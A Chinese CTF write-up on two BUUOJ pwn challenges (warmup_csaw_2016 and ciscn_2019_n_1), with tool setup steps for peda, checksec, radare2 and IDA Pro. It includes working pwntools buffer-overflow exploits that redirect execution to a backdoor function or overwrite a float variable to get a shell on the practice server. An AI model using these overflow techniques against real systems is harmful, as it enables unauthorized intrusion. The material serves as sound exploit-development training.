ciscn_2019_n_1
环境
- kali-2020.4,windows10,IDA pro
前置知识
深入了解GOT,PLT和动态链接:https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html
全功能的二进制文件分析工具 Radare2 指南:https://linux.cn/article-13074-1.html
GDB插件peda的安装,checksec安装
插件peda安装
git clone https://github.com/longld/peda.git ~/peda
echo “source ~/peda/peda.py” >> ~/.gdbinit
checksec安装
sudo apt install checksec
Radare2安装
开源的逆向工程框架
git clone https://github.com/radare/radare2.git && cd radare2
./sys/install.sh
可以使用以下命令启动web UI
r2 -c=H /bin/true
题目
- warmup_csaw_2016
- 首先使用checksec

- 使用gdb调试

可以看到程序输出了地址0x40060d,使用IDA查看地址

发现为后门函数

与以往一样
exp
from pwn import *
p = remote('node3.buuoj.cn',25287)
payload ='a'*(0x40+8)+ p64(0x40060d)
p.sendline(payload)
p.interactive()
题目
- ciscn_2019_n_1


gets接受的是v1的值,要让v2=11.28125,需要在写入v1后覆盖-0x4-(-0x30)=0x2c,11.28125对应的十六进制数0x41348000,且为32位程序
exp
from pwn import *
r = remote('node4.buuoj.cn', 27182)
payload ='a'*0x2c + p32(0x41348000)
r.sendline(payload)
r.interactive()
补充
IDA pro(kali安装):
由于IDA pro只能装在32位环境下,如果是64位Ubuntu,需要运行如下命令安装32位的必备库。
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6-i686:i386 libexpat1:i386 libffi6:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386 libglib2.0-0:i386 libice6:i386 libpcre3:i386 libpng12-0:i386 libsm6:i386 libstdc++6:i386 libuuid1:i386 libx11-6:i386 libxau6:i386 libxcb1:i386 libxdmcp6:i386 libxext6:i386 libxrender1:i386 zlib1g:i386 libx11-xcb1:i386 libdbus-1-3:i386 libxi6:i386 libsm6:i386 libcurl3:i386
然后进入解压目录,输入:
./idaq
ida pro遇到的问题解决
sudo apt-get install libglib2.0-0:i386
sudo apt-get install libfreetype6:i386
sudo apt-get install libsm-dev:i386
sudo apt install libxrender1:i386
sudo apt-get install libfontconfig1:i386
sudo apt-get install libxext6:i386

浙公网安备 33010602011771号